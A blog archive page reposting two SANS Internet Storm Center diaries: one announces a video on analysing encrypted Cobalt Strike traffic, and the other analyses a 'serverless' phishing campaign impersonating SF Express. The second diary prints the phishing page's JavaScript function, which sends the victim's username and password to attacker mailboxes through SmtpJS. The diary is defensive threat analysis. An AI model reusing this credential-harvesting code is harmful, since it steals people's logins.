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Archive for May 22nd, 2021

Video: Making Sense Of Encrypted Cobalt Strike Traffic, (Sun, May 23rd)

Brad posted another malware analysis with capture file of Cobalt Strike traffic.

The traffic is encrypted and the key is unknown. While it’s impossible to determine what exact commands were executed in this case, it is still possible to determine if commands were send by the C2 and if results were sent back.

I explain how in this video.

If you have proxy logs in stead of a packet capture, it’s possible to do the same analysis, provided that the proxy logs report how much data (size of HTTP headers and size of data) was exchanged.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

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"Serverless" Phishing Campaign, (Sat, May 22nd)

The Internet is full of code snippets and free resources that you can embed in your projects. SmtpJS is one of those small projects that are very interesting for developers but also bad guys. It’s the first time that I spot a phishing campaign that uses this piece of JavaScript code.

To launch a phishing campaign, most attackers deploy their phishing kits on servers (most of the time compromised). These kits contain the HTML code, images, CSS files, … but also scripts (often in PHP) to collect the information provided by the victim and store it into a flat file or send them to another service. It works perfectly but there are chances that the compromised servers will be cleaned and kits wiped. Alternatively, the URL/IP address will be quickly reported as malicious and added to reputation lists or IOC’s databases.

With the campaign I spotted, the approach is different and I called it a “serverless” campaign because no server is required to store the kit. How does it work?

The phishing page is delivered through an email with just an attached HTML page. The content is obfuscated and, once opened, displays a nice page:

If you don’t know this brand, SF Express can be categorized as a “Chinese DHL”. It’s a logistic company based in Shenzhen.

On top of the background picture, an overlay is rendered with the form. When the user clicks on the button, a JavaScript function is called:

Here is the function:

 function sendEmail() { 
    if (document.getElementById('password').value === '') {
        alert('Please enter a valid password!');
        return false;
    }
    var username = document.getElementById('username').value;
    var password = document.getElementById('password').value;
    Email.send({
    SecureToken : "180a2263-e984-4408-8235-xxxxxxxxxxxx",
    To : '[email protected], [email protected]',
    From : '[email protected]',
    Subject : 'SF cAshOut',
    Body : 'SF EXPRESS Email - ' + username + ' Password - ' + password
    }).then(
    message => alert('Authentication Failed: Email / Password Incorrect!'));
    }

The SMTP functionally is provided by The SmtpJS JavaScript library:


SmtpJS.com[1] allows developers to send emails from their JavaScript code in a very easy way. Note the “SecureToken” variable: it’s a technique provided by SmtpJS to hide your SMTP relay and credentials. This token can be generated on their website:

The good point from a defense perspective is that this token can be used to track campaigns and actors!

[1] https://smtpjs.com

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

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